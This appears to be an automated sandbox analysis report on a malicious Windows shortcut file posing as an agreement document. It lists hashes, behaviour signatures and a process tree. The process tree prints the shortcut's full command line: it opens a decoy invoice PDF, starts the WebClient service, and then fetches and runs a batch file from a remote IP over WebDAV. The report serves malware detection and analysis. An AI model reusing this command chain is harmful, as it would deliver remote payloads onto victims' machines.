132f8d12421381a77b9d164a90c155b05c9f57fd3a2e79a5a2a50c183b8bb4e5

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
08/05/2024, 07:42

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General

Target

Condition-Agreement_2024_05_06_27.lnk
Size

2KB
MD5

a497662f623efb41bcf7c05b6571edfe
SHA1

c1b3a6927f8032d0052ff9a118c16e55a9f97dea
SHA256

132f8d12421381a77b9d164a90c155b05c9f57fd3a2e79a5a2a50c183b8bb4e5
SHA512

d955dda82d9349aeceb27d29ed09816d9773cff050abdbcd928d66b1532c1adc4c0f454a8c027b67fa13e8157674a1edacff884ccd35f4b4652cf5241d12a1a3

Score

4^/10

Malware Config

Signatures

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2044	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2440	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2476	AcroRd32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2476	AcroRd32.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2476	AcroRd32.exe
2476	AcroRd32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 2932	2744	cmd.exe	29
PID 2744 wrote to memory of 2932	2744	cmd.exe	29
PID 2744 wrote to memory of 2932	2744	cmd.exe	29
PID 2932 wrote to memory of 2476	2932	cmd.exe	30
PID 2932 wrote to memory of 2476	2932	cmd.exe	30
PID 2932 wrote to memory of 2476	2932	cmd.exe	30
PID 2932 wrote to memory of 2476	2932	cmd.exe	30
PID 2932 wrote to memory of 2044	2932	cmd.exe	31
PID 2932 wrote to memory of 2044	2932	cmd.exe	31
PID 2932 wrote to memory of 2044	2932	cmd.exe	31
PID 2932 wrote to memory of 2440	2932	cmd.exe	32
PID 2932 wrote to memory of 2440	2932	cmd.exe	32
PID 2932 wrote to memory of 2440	2932	cmd.exe	32
PID 2932 wrote to memory of 1460	2932	cmd.exe	34
PID 2932 wrote to memory of 1460	2932	cmd.exe	34
PID 2932 wrote to memory of 1460	2932	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Condition-Agreement_2024_05_06_27.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/min /c "echo Visualizacao indisponivel > C:\Users\Admin\\downloads\\NotaFiscal.pdf && start C:\Users\Admin\\downloads\\NotaFiscal.pdf && start sc start webclient && ping localhost -n 7 && start /min cmd.exe /c \\38.180.136.158@80\vHRfeSre\Offer202412.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\NotaFiscal.pdf"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:2476
- - C:\Windows\system32\sc.exe
    sc start webclient
    3⤵
    - Launches sc.exe
    PID:2044
- - C:\Windows\system32\PING.EXE
    ping localhost -n 7
    3⤵
    - Runs ping.exe
    PID:2440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c \\38.180.136.158@80\vHRfeSre\Offer202412.bat
    3⤵
    PID:1460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
51468201884927ab944df694045be2ca

SHA1
5d24a941358bdda5150c4cef8f624c240615e366

SHA256
a8a3800c94efc05ca45b3d919d2c1930427bc41e23ab4a99864895ca57c54c19

SHA512
ea93371ac98ac8dc9ad57586b759f78738ac535cfc2b4ebde9f448bfd3dd92aaaa36d55aa327cb21ce6b0af22715c655b64a692e4be0b19da53bb05e502c9b06

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C:\Users\Admin\Downloads\NotaFiscal.pdf

Filesize
29B

MD5
823a9caa296579d6a40cd5195d969727

SHA1
5592813787ecff9133229439498d624339c07ece

SHA256
60b827294f341e5f200c6512b976cac056a592ac1abdd932af8abff314b7bb0e

SHA512
77ec77b000d5d230071a101954968f585ceed9e589652af38411d14b594a7432b610ef9c8b7d1c9256a5e6fe5eeda53d017a4c6d840c987b884b9cca17d7e0bc

Download Submit